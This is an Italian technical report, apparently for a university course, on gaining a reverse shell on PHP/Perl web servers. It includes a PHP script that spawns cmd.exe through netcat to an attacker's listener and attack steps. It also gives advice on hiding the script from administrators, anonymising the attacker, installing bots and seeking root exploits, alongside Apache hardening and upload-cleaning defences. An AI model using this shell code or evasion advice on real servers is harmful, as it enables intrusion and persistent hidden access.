Tecnica della Reverse Shell Riccardo V. Vincelli

Transcript

1 Tecnica della Reverse Shell Riccardo V. Vincelli L' obiettivo della relazione e' illustrare come sia possibile, a patto di alcune assunzioni in termini di sicurezza non troppo restrittive, avere possibilita' d' esecuzione su un webserver tramite la tecnica della shell inversa. La trattazione vuole essere anche abbastanza pratica e rispecchia perlopiu' fedelmente esperienze avute dall' autore. 1. Terminologia Con il termine shell intendiamo principalmente la seguente cosa: la possibilita' di potere utilizzare un interprete dei comandi testuale del sistema attaccato (il programma comunemente detto shell appunto), e quindi essere in grado di eseguire comandi sulla stessa macchina

2 compromessa. L' effettivo file eseguibile che l' attaccante sceglie di utilizzare, dovrebbe essere uno sul quale egli ha dimestichezza: mentre questo discorso non ha troppo senso ad esempio sui sistemi Windows, dove l' interprete dei comandi e' fondamentalmente uno, il file cmd.exe o command.com su sistemi datati, sui sistemi Unix si hanno in genere vari interpreti a disposizione e quindi la scelta non e' indifferente, anche rispetto alle tracce che l' attaccante stesso lascia: ad esempio la bash (Bourne-Again SHell, evoluzione della Bourne SHell) offre di default una funzionalita' di cronologia dei comandi digitati (salvati nel file.bash_history, visualizzabili tramite il comando history e richiamabili tramite!n, dove n e' il numero del comando cosi' come appare nell' output di history) e quindi, una volta disconnessi, un amministratore di sistema puo' andare a vedere, in teoria, scoperta la compromissione, i comandi digitati che, potenzialmente, possono anche tradire l' attaccante; riprenderemo questo discorso

3 piu' avanti. Una shell si puo' ottenere in molti modi, la tecnica in esame non e' certamente la prima ad essere stata pensata ne' sicuramente la migliore. La shell piu' ambita e', ovviamente, quella di root/administrator, identificabile nella stragrande maggioranza dei sistemi *nix dal simbolo '#', ma non e' il nostro caso, almeno nella tecnica della reverse shell cosi' com'e': sarebbe potenzialmente possibile se, per assurdo, il webserver fosse eseguito da root. Con il verbo bucare intendiamo l' avere accesso esecutivo effettivo ad un sistema,ad esempio proprio avendo la possibilita' di una shell. Il termine puo' assumere significati affini, ma raggiungere il "buco" puo' anche non significare un qualcosa di troppo straordinario: se infatti si riesce ad avere possibilita' di esecuzione su una macchina non troppo performante, ad esempio, una

4 che risulta essere spesso irraggiungibile/sconnessa o con impedimenti formali elevati, per esempio si hanno i privilegi di un utente di comodo che non puo' molto (vedi sotto), l' avere bucato un sistema non e' cosa troppo gratificante per un attaccante. La parola bot (diminutivo di robot) intende un programma automatico che, una volta eseguito, non necessita stretta supervisione, cioe' non necessita' di input utente, e fa un qualcosa che l' attaccante reputa utile. Possiamo avere molti tipi di bot: per esempio, nel mondo di IRC (Internet Relay Chat), in alcune situazioni dei programmi bot sono utilizzati per mantenere il possesso di una stanza di discussione, o ancora nei giochi online modello client-server i bot fungono da giocatori automatici o supervisori della regolarita' del gioco stesso per evitare che gli utenti usino trucchi e similia. Un uso comune che si fa di una shell e' proprio quello di installare, ed eseguire,

5 programmi del tipo. Cio' si lega principalmente a due aspetti: -il bot ha necessita' di essere sempre connesso -esistono provider che offrono possibilita' di avere processi sempre in esecuzione e sempre connessi, ma al giorno d' oggi quasi nessuno di questi offre tale servizio gratuitamente. Quindi se il buco da' esito che si rivela positivo, cioe' se l' attaccante si accorge di avere in controllo una macchina soddisfacente, una possibilita' e' certo quella, se ne ha necessita', di installare suddetti bot. Vantaggi in questo senso possono essere: -l' amministratore non si accorge della compromissione se non andando a dare un occhiata ai processi in esecuzione (in *nix, comando ps), o alle connessioni attive (comandi netstat oppure sockstat) poiche' il programma determina utilizzo di risorse limitato ed e' silenzioso. -l' attaccante risparmia qualche soldo poiche' ottiene quello che dovrebbe pagare (anche se non troppo, la media e' quella di 2.5$ a

6 processo in background e connesso, per la durata di un mese) rivolgendosi a provider in modo legale. Le possibilita' di scenari bot-related sono molte, e possono spingersi anche ad ipotesi piu' marcatamente illegali anche se (forse?) piu' rare (drone-botnet, sniffing ecc...) 2. Assunzioni/prerequisiti Quello che dobbiamo avere e' possibilita' di scrittura su una macchina che permetta di eseguire da remoto degli script di un linguaggio interpretato: nella pratica mi rifaccio all' avere un account ftp su un webserver che monti perl o php nel contesto piu' ampio dello standard CGI (Common Gateway Interface, un modo W3C-compliant di gestire contenuti dinamici per siti web); il sistema operativo dev' essere Windows o Linux/*BSD (con buona approssimazione anche altri sistemi unix non troppo desueti possono andare).

7 Inutile dire che la possibilita' di scrittura puo' essere legittima (nostro caso) o illegittima, requisito minimo e' solo mettere gli script in un luogo dove possano essere raggiunti ed eseguiti dal webserver o meglio dall' interprete (ad esempio mod_perl per il server Apache). Questo scenario, a pensarci bene, non e' nulla di raro: provider come Aruba forniscono per pochi euro un servizio di questo tipo su base annuale ed al giorno d' oggi la stragrande maggioranza dei siti internet di privati e piccole-medie imprese sono operati in questo od altri molto affini modi (non sto citando nessuna fonte ma e' un fatto abbastanza immediato a chi abbia un minimo di dimestichezza nel campo). Un altro prerequisito, banale, e' quello di avere un web browser funzionante: per fortuna per quel che ci interessa, non ci serve altro che digitare un url ed attenderne l' esecuzione (tanto per intenderci, anche un browser come Lynx va piu' che bene, ma assumiamo InternetExplorer).

8 Altri strumenti che ci servono sono un netcat ed uno script per eseguire la shell remotamente, ed un programma per ricevere, localmente, la shell inviata da remoto (a tal proposito utilizzo ancora netcat). Lo script scritto da me e' molto semplice, e netcat e' un' utility free. 3. L' attacco Lo schema dell' attacco e' abbastanza semplice, ma potente: 1. Modificare lo script: la coppia indirizzo:porta cui mandarla. Attenzione se decidiamo di mandarla ad un indirizzo riconducibile a noi! (es. il pc di casa, molto riconducibile a noi direi) 2.Caricarlo (una cartella dove siamo sicuri sia raggiungibile e' quella dove si trova anche l' index o simili corrente) 3.Caricare netcat nello stesso luogo (netcat

9 remoto) 4.Mettere in ascolto il netcat locale sulla coppia indirizzo:porta scritti nello script 5. Eseguire lo script tramite url Attenzione se decidiamo di mandare la richiesta da un indirizzo riconducibile a noi! (es. non utilizzando proxy; ricordiamo poi che browser come IE lasciano una caterva di informazioni aggiuntive!) 6. Connettersi a dove abbiamo mandato la shell. Le istruzioni le ho riscritte in inglese nello script stesso. 4. Esame dei passi 4.1. Script Lo script fornito e' stato scritto pensando di attaccare un server Windows, dove la particolare scomodita' e' la presenza di un interprete di default non avanzato che non permette d' essere usato interattivamente da remoto: questo ci costringe ad appoggiarci a netcat anche per il lato server.

10 Ho conosciuto questa tecnica circa quattro anni fa, presi dal sito degli script sia in perl sia in php che fanno la stessa cosa ma in modo piu' avanzato ed anche sicuramente piu' fine: in particolare non ci si appoggia a netcat per l' interattivita' ma all' opzione -i delle shell redirigendo gli standard input, output ed error su una socket tcp. Ai tempi, per avere un' idea statistica di massima, 4 su 5 server risultavano proni. Riprovando oggi, la situazione e' inversa, infatti l' idea di hardening rispetto alla sicurezza degli script web e' cosa comune. Codice: <?php //Synopsis: //Spawn a reverse shell through netcat in a suitable cgi php context // //Usage: //-download NetCat for your platform (the attacking one): // --if you're on linux/unix you probably already have it installed // --a win version is at

11 //-on the attacking host (your box or one you control, whose ip is say ) // put netcat in listening mode on a free port: nc -l -p // On Windows I noticed that binding to a particular address is not working // properly, so the command I suggest is always fine. //-upload the script: // --you must upload it in a directory url-reachable (ie from a browser) // --it's necessary it supports script execution too (ie cgi-bin) //-upload netcat //-execute the script (ie //-on the console you issued the listening command, // you should receive the desired shell. // //This script is lame and is intended for spawning against a win box. //If you want finer examples ncindependent for the server side and //unix-targeting check out //

12 //Bugs: //The "manual" is way longer than the code itself // //Author: //RVV - r.vincelli@campus.unimib.it $shell = 'nc.exe -v -n e cmd.exe'; exec($shell);?> Vedi "Esempio" per una dimostrazione dell' attacco Caricamento L' assunzione piu' comoda e' avere un account ftp o similia per uppare lo script in una directory raggiungibile dal webserver; ovviamente in generale e' quest' ultimo punto che ci interessa, non tanto come ci arriviamo (ftp o altro). Lo script e' un file php, testo quindi, e va inviato in modalita' ascii pertanto. Non e' generalmente necessario modificarne i permessi, ma e' auspicabile modificarne il nome in qualcosa che, se proprio non

13 inganni, quando lo legga, l' amministratore, almeno non gli sia lampante quando ci mette sopra gli occhi. Torneremo sotto sui "tempi di sopravvivenza" stimati di questo tipo di attacco Netcat Netcat (nc) e' un' utility unix portata anche a Windows soprannominata "coltellino svizzero di Internet", ed a buon diritto: puo' essere utilizzato in modo arbitrario come peer di una connessione tcp o udp, permettendo cose come modello client/server, trasferimento di dati, client raw e molte altre. Nel nostro caso ci limitiamo al comando per metterlo in ascolto: nc -l -p PORTA dove PORTA dev' essere ovviamente quella messa nello script. In un sistema Windows la porta in uso non dev' essere bloccata da firewall, in unix oltre a questo dobbiamo utilizzare, se non root (e veramente non ha senso che si sia loggati root in una situazione del genere, e piu' in generale ora non ha piu' senso essere loggati come root, esistendo utility come

14 sudo) una porta piu' alta di Esecuzione L' esecuzione si riduce al digitare l' opportuno url nel nostro browser di fiducia. Come gia' notato quest' azione, assieme all' utilizzo della shell ma anche maggiormente rispetto questa, e' una con la quale riveliamo un sacco di informazioni al webserver; non volendo entrare nel merito di browser particolari come detto sopra, la quantita' di informazioni rilasciata puo' essere valutata ad esempio all' indirizzo ; ricordando che tutti i webserver hanno una minima logging capability abilitata di default, e' un punto su cui proprio non possiamo transigere. Come noto, e' possibile utilizzare un proxy per "nascondere" l' indirizzo del browser, ma questa via non e' dopotutto il massimo perche': -non tutti i tipi di proxy sono anonimi (nel senso che inoltrano si' la connessione da parte nostra, ma comunicano la nostra identita' al webserver o mantengono log dei

15 client che servono) -di default, la funzionalita' di proxy dei browser permette di utilizzarne uno solo alla volta -i proxy sono difficili da trovare: quelli che veramente si rivelano funzionanti sono solitamente pochi ed in posti esotici (e con funzionanti intendiamo anche stabili, cioe' presenti in rete almeno per 24 ore senza troppa discontinuita'), nonche' subissati di richieste (specie se appaiono in cima a varie liste pubbliche come ); molti non sono altro che computer (spesso pc domestici) compromessi e suoi quali e' installata dal trojan/bot di turno una funzionalita' proxy, o tali in virtu' di misconfigurazioni/difetti di software applicativo (o una combinazione dei fattori: noto e' il binomio Sobig worm- Wingate v5) Un' alternativa sono fornitori di proxy/socks a pagamento (ma non ha troppo senso!). Un passo successivo in termini di ricerca d' anonimato puo' essere l' onion routing ( ). Ovviamente modi piu' sofisticati, avendo a

16 disposizione macchine esterne cui non siamo riconducibili (e che reputiamo sufficientemente insicure o "distratte" in termini di logging), sono sempre possibili: una molto in voga qualche anno fa (o meglio piu' di qualche anno fa) e' l' utilizzo di un datapipe, ossia di un piccolo programmino, in c o in perl solitamente, da eseguire sulla macchina intermediaria con principalmente tre argomenti: una porta locale su cui ascoltare in tcp, una porta ed host remoto cui mandare i dati ricevuti (una versione anche interattiva si puo' trovare a ippa_v2.txt ) Connettiamoci! Il passo finale non e' altro che connetterci dove abbiamo mandato la shell; se e' una prova o se ci fidiamo ci connetteremo a noi stessi. Pur essendo possibile riutilizzare netcat, e' molto piu' comodo il noto telnet: telnet e' un protocollo con i quali molti smanettoni hanno sicuramente confidenza, se non altro per azioni lamer ma sicuramente didattiche come provare a mandarci una mail

17 anonima o connettercisi ad IRC. 5. Concretizzazione dell' attacco Una volta dentro, dobbiamo decidere che fare; in qualsiasi caso, ci deve guidare il buonsenso. Anzitutto, avremo poteri limitati: la shell avra' i privilegi dell' utente che ha eseguito il demone http: in unix e' solitamente un utente di comodo (httpd, www, nobody ecc...), in Windows ci possiamo aspettare un utente non di default ma sicuramente non di livello amministrativo. Ricordiamo che oltre all' utilizzo di utenti di comodo, altre configurazioni di sicurezza adatte anche ad un ambiente DAC (discretionary access control) possono essere: -chrooting: un' applicazione e' "bloccata" in una sottodirectory, cioe' posta in un contesto dove ha tutti i file necessari al suo funzionamento sottoforma di hardlink ai file effettivi, e copie dei device in caso -jailing: sistema introdotto da FreeBSD che

18 prevede il partizionamento dell' os in vari sottosistemi virtuali indipendenti trasparentementemente all' utente. Notiamo che tutti queste possibilita' sono un qualcosa di nativo nei sistemi unix: per questo e per altri motivi (es. multiutenza e permessi stretti, paradigmi MAC-mandatory access control), sono da reputarsi piu' sicuri: semmai dubbi si possono avere circa la facilita' nel configurare l' ambiente adatto, e per sanare questo punto ci si puo' ad esempio aiutare con wizard grafici e con un approccio meno hardcore unix all' utilizzo dei file di configurazione (la strada presa da Mac OSX). Buonsenso e' anche rendersi conto che, comunque sia, danneggiare il sistema cancellando file su cui si hanno permessi e' deleterio: in prima battuta per una questione morale (stiamo buttando via lavoro altrui) in seconda per una pratica; un admin che si accorge di essere stato "battuto" ma non rileva danni, puo' pigramente prendere nota dell' accaduto e dimenticarsene (ecco magari non troppo pigramente, dovrebbe cercare di

19 capire come l' attaccante e' entrato!). Ma nel caso in cui abbia problemi di sorta, ad esempio un cliente del provider che possiede il webserver si ritrova lo spazio web interamente cancellato, inattivo per del tempo, e la colpa finisce sull' admin, puo' magari mettersi a spulciare, termine non correttissimo visto che esiste software che agevola il processo, i log di sistema e provare a non farla passare liscia all' attaccante. Posto che non facciamo nessuna azione che ci renda visibili (cancellazioni gratuite o anche defacciamenti dei siti), ci chiediamo ora come fare per rimanere piu' a lungo possibile invisibili (o nascosti bene) agli occhi dell' admin. La tecnica della reverse shell dovrebbe essere un punto di partenza e non di arrivo: non abbiamo in casi normali grossi privilegi e siamo dipendenti da uno script. Settarlo nascosto e "nasconderlo" in sottocartelle puo' aiutare, tutto dipende dalla frequenza con cui il sito internet e'

20 aggiornato ma soprattutto da come: se per assurdo il webmaster o chi per esso usano solo cms (content management systems) e non danno mai un occhio alla webroot per esempio via ftp, ci sono buone possibilita' per noi in questo senso, giusto per citare uno scenario. Se la vediamo appunto come partenza, il passo successivo e' ottenere quel che vogliamo dal sistema nel miglior modo possibile; e con cio' comprendiamo un range di possibilita' vasto, su cui soffermarsi sarebbe troppo lungo: nascondiamo in /tmp (dove sicuramente abbiamo accesso in scrittura) il bot che vogliamo eseguire, o iniziamo a cercare in rete un exploit locale per ottenere la root? In questa fase generalmente non possiamo prescindere dal sistema in uso, in un livello di dettaglio anche abbastanza alto: ad esempio se siamo su una linux box a kernel x.y.z.-tu, dobbiamo cercare un qualcosa appositamente per quel kernel. E' quasi impossibile trovare exploit potenti locali che sfruttino componenti native del

21 sistema come kernel, librerie famose ecc; paga molto di piu' cercare di isolare la presenza di software applicativi particolari sul sistema, ad esempio associati a servizi, e cercare attacchi per questi. Meglio ancora se proprietari o di vendor non famosissimi: in questi casi il codice quasi sicuramente chiuso facilita un eventuale successo. Certo, se l' attaccante e' veramente di alto livello, puo' contare sugli zeroday: ma questo e' un altro discorso. 6. Cure e prevenzioni Come d' obbligo, bisogna anche mettersi nei panni dell' admin: poniamo che si accorga della compromissione del sistema, cosa dovrebbe fare? La risposta e' valida in senso generale e possiamo astrarla dall' attacco particolare della reverse shell: -cercare file e processi sospetti e cancellarli, terminarli -esaminare i log di sistema ed applicativi -isolare le componenti che potrebbero nascondere la falla

22 -documentarsi circa vulnerabilita' note su queste (CVE, BugTraq, siti vendor ecc) -confrontarsi con altri colleghi -arrivare ad una soluzione E' curioso come molte volte siano gli attaccanti stessi a tendere una mano agli amministratori di sistema suggerendo la vulnerabilita' da essi sfruttata o addirittura fornendo una patch. Per le prevenzioni invece possiamo portarci piu' nello specifico proprio rispetto alla reverse shell; queste sono solo alcune delle possibili vie Disabilitare gli interpreti in questione/rinunciare alla common gateway interface: se non c'e' modo di interpretare gli script, essi ovviamente sono innocui; e' una soluzione drastica che puo' non essere accettabile se la tecnologia cgi e' parte integrante dell' uso comune del nostro webserver. Come abbiamo spesso riflettuto in aula, una risposta del tipo e' una risposta efficace ma e' un po' un' ultima spiaggia. Un' altra soluzione molto piu' logica puo'

23 essere configurare opportunamente quel che si puo' fare e non, in termini di script! Mi rifaccio ad una situazione cgi su Apache: Apache e' infatti il webserver piu' comune e tra i piu' sicuri; analoghe prevenzioni si possono avere sull' IIS di Microsoft, che sta cercando di colmare il gap ma non puo' certo contare su una community come quella di Apache. Abbiamo: httpd.conf/.htaccess httpd.conf e' il file di configurazione principale di Apache, l' abilitazione ed il settaggio del cgi passano da qui. Possiamo permettere l' esecuzione di script cgi (in un qualsiasi linguaggio adatto) in vari modi: -direttiva ScriptAlias: le directory che la seguono sono indicate al server come le uniche che in un url possono prevedere l' interpretazione di uno script; se ad esempio ho:...

24 ScriptAlias /cgibin/... l' url non determina una richiesta a buon fine dato che la cartella non e' tra quelle indicate. -direttiva Options:... <Directory /usr/local/apache2/htdocs/somedir> Options +ExecCGI </Directory>... che pero' richiede anche di specificare le estensioni d' interesse (differentemente dal modo con ScriptAlias che intende tutti i file nelle directory specificate come potenziali script):... AddHandler cgi-script.cgi.pl... Con queste indicazioni, evitando di lasciare agli utenti cartelle abilitate agli script dove ne possano mettere di loro, si raggiunge un buon livello di sicurezza. In caso in cui si voglia portare questo cgi

25 hardening ma non si abbia accesso al httpd.conf, si possono utilizzare, nei limiti definiti nel httpd.conf stesso, i file.htaccess, che non sono altro che override di quest' ultimo cui effetto e' sulla cartella in cui si trovano e tutte le sottocartelle (ad esempio ha senso metterne uno nella webroot) Controllare i file caricati E' possibile pensare ad un processo che verifichi direttamente il contenuto dei file nell' albero directory ed agisca di conseguenza: se in una cartella mi aspetto solo immagini, elimino i file che non lo sono; se in un' altra mi aspetto solo codice html, non mi basta verificare l' estensione, ma vado alla ricerca di pattern (es. #!/usr/bin/perl) in base a cui elimino file dannosi; e' possibile anche pensare ad un report program. Un semplice script del potente ambiente shell puo' essere: #!/bin/sh while true; do for file in * do a=$(file $file)

26 b=$file": PHP script text" c=$file": perl script text executable" if test "$a" = "$b" then rm -f $file elif test "$a" = "$c" then rm -f $file fi; done done dove in pratica, per ogni file nella directory dove lo script e' eseguito, se ne verifica il tipo tramite l' utility file, e se e' di tipo php o perl, lo si elimina; lo script e' semplice anche se ha come punti delicati l' assegnamento dell' output di un comando ad una variabile (costrutto $(command)) e la concatenazione di due stringhe (variabili $b e $c); attenzione anche al quoting (utilizzando '' al posto di "" abbiamo errore perche' le variabili non sono valutate). Lo script e' da posizionare nelle directory sensibili; ovviamente si possono avere script piu' complessi ad esempio che prendono l' input delle estensioni trigger da un file e controllano una lista di directory prefissata, ecc. E' preferibile eseguirlo in background (posponendo la &) e regolarne l' esecuzione in startup (ad esempio via cron).

27 Non dimentichiamo che uno script del genere puo' essere utilizzato anche su ambiente Windows: essendo il batch scripting piu' debole, si puo' talvolta pensare all' uso di ambienti d' emulazione ad-hoc come Cygwin Rinominare i file Questo metodo e' abbastanza debole se adottato in un sistema in cui l' utente attaccante ha accesso di lettura e scrittura pieno, ma buono se percaso l' utente puo' solo fare upload senza avere la possibilita' di vedere il contenuto della cartella dove carica file; cambiando il nome dei file (es. attraverso hashing), l' attaccante non sara' piu' in grado di formulare un trigger url valido; non si applica al nostro scenario dove abbiamo assunto possibilita' ftp equivalenti. 7. Conclusioni L' attacco della shell inversa ha sicuramente una sua importanza didattica, poiche' tocchiamo vari argomenti: dall' ambiente di shell ai linguaggi di scripting.

28 In termini di efficacia effettiva non e' forse esaltante: anche quando si riesca a caricare con successo, ed a fare in modo che non venga cancellato, nei limiti del possibile, lo script, le incognite sono rappresentate dal poter eseguire l' interprete dei comandi, ed il doversi fermare, almeno in prima battuta, a privilegi bassi. Piu' in generale sfruttare l' "aiuto" degli linguaggi interpretati e' una modalita' d' attacco applicata anche sotto altri nomi, e citiamo tra gli altri: SQL injection: l' attacco consiste nel presentare in una query sql dati arbitrari opportunamente scritti. Scenario tipico e' quello di un file html contenente il form ed un file in un linguaggio interpretato (es. php) incaricato di interfacciarsi col dbms per inoltrare effettivamente l' interrogazione. In caso di controlli deboli dal lato server, sono possibili situazioni di autenticazione senza credenziali ma sullo stesso paradigma e' possibile pensare anche ad arrivare alla shell

29 se il dbms espone comandi opportuni (es. "esegui comando locale"). La reverse shell e' attacco in linea generale aperto se non ai lamer nella gerarchia degli smanettoni, almeno ai kiddie: infatti le conoscenze da avere sono veramente poche ed il ritocco del codice banale (parametri host e porta): script del tipo e' suggerito modificarli leggermente (es. cancellazione d' una parentesi) per scoraggiare proprio gli utenti infimi prima di rilasciarli in the wild, anche se solo come proof of concept, che in fin dei conti non e' altro che termine eufemismo per exploit. 8. Esempio Provo ad instaurare l' attacco da macchina Windows ad un' altra ancora Windows, premettendo che sono entrambe mie, collegate in lan in modo diretto. L' ambiente web e' rappresentato, per quel che c' interessa, dal server web Apache con

30 mod_php abilitato; in particolare per fare piu' in fretta con la configurazione, ed anche perche' e' solo un esempio, ho optato per binari preconfigurati e precompilati con IndigoAMPP della software house IndigoStar. Inutile dire che scelte del tipo sono fondamentalmente sbagliate nel caso dell' allestimento di un server vero e proprio. La documentazione ufficiale Apache poi e' esauriente circa l' installazione del webserver in ambiente Windows, anche se l' ambiente di riferimento naturale e' certamente uno di stampo unix. La webroot; evidenziati i file d' attacco nc e script:

31 In ascolto sulla macchina attaccante:

32 Esecuzione dello script:

33 La shell e' arrivata! Notiamo che l' ultimo comando e' un comando dal basso buonsenso!

34 9. Webografia/link utili